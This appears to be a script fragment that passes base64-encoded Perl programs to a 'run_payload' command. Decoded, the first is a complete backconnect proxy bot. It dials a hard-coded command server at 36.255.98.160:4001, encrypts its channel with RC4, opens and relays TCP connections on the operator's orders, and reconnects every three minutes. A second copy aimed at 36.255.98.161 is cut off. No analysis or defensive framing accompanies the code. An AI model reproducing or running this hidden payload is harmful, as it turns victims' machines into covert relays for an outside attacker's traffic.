run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_12.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYxJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1O